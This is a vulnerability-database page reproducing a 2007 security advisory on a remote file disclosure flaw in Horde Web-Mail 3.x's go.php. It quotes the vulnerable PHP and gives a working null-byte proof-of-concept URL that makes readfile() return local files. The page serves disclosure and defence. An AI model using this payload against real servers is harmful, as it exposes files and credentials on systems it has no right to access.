Horde Web-Mail 3.x - 'go.php' Remote File Disclosure
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
 | Horde < 3.1 go.php url Parameter File Disclosure | 16 Mar 200600:00 | – | nessus |
| Debian DSA-1033-1 : horde3 - several vulnerabilities | 14 Oct 200600:00 | – | nessus |
| Debian DSA-1034-1 : horde2 - several vulnerabilities | 14 Oct 200600:00 | – | nessus |
| GLSA-200604-02 : Horde Application Framework: Remote code execution | 8 Apr 200600:00 | – | nessus |
| Horde go.php url Parameter Arbitrary File Access | 15 Mar 200600:00 | – | nessus |
 | CVE-2006-1260 | 19 Mar 200602:00 | – | cve |
 | CVE-2006-1260 | 19 Mar 200602:00 | – | cvelist |
 | [SECURITY] [DSA 1033-1] New horde3 packages fix several vulnerabilities | 12 Apr 200619:03 | – | debian |
| [SECURITY] [DSA 1034-1] New horde2 packages fix several vulnerabilities | 14 Apr 200614:42 | – | debian |
 | Horde Application Framework: Remote code execution | 4 Apr 200600:00 | – | gentoo |
10
----[ Horde Web-Mail Remote File Disclosure ... ITDefence.ru Antichat.ru ]
Horde Web-Mail Remote File Disclosure
Eugene Minaev [email protected]
___________________________________________________________________
____/ __ __ _______________________ _______ _______________ \ \ \
/ .\ / /_// // / \ \/ __ \ /__/ /
/ / /_// /\ / / / / /___/
\/ / / / / /\ / / /
/ / \/ / / / / /__ //\
\ / ____________/ / \/ __________// /__ // /
/\\ \_______/ \________________/____/ 2007 /_//_/ // //\
\ \\ // // /
.\ \\ -[ ITDEFENCE.ru Security advisory ]- // // / .
. \_\\________[________________________________________]_________//_//_/ . .
At first look , this code is not vulnerable and we can only read remote files.
<?php
if (empty($_GET['url'])) {
exit;
}
if (get_magic_quotes_gpc()) {
$url = @parse_url(stripslashes($_GET['url']));
} else {
$url = @parse_url($_GET['url']);
}
.....
if ((!empty($_SERVER['SERVER_NAME']) &&
$_SERVER['SERVER_NAME'] == $url['host']) ||
(!empty($_SERVER['HTTP_HOST']) &&
$_SERVER['HTTP_HOST'] == $url['host'])) {
.....
if (!empty($_GET['untrusted'])) {
readfile($_GET['url']);
exit;
}
?>
But parse_url is only a set of regular expressions and we can use nullbyte to deceive function.
http://test1.ru/horde/util/go.php?untrusted=1&url=test.php%00http://another.host/
----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]
1st advisory: http://www.securityfocus.com/archive/1/427710/30/0/threaded
# milw0rm.com [2008-01-06]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.12174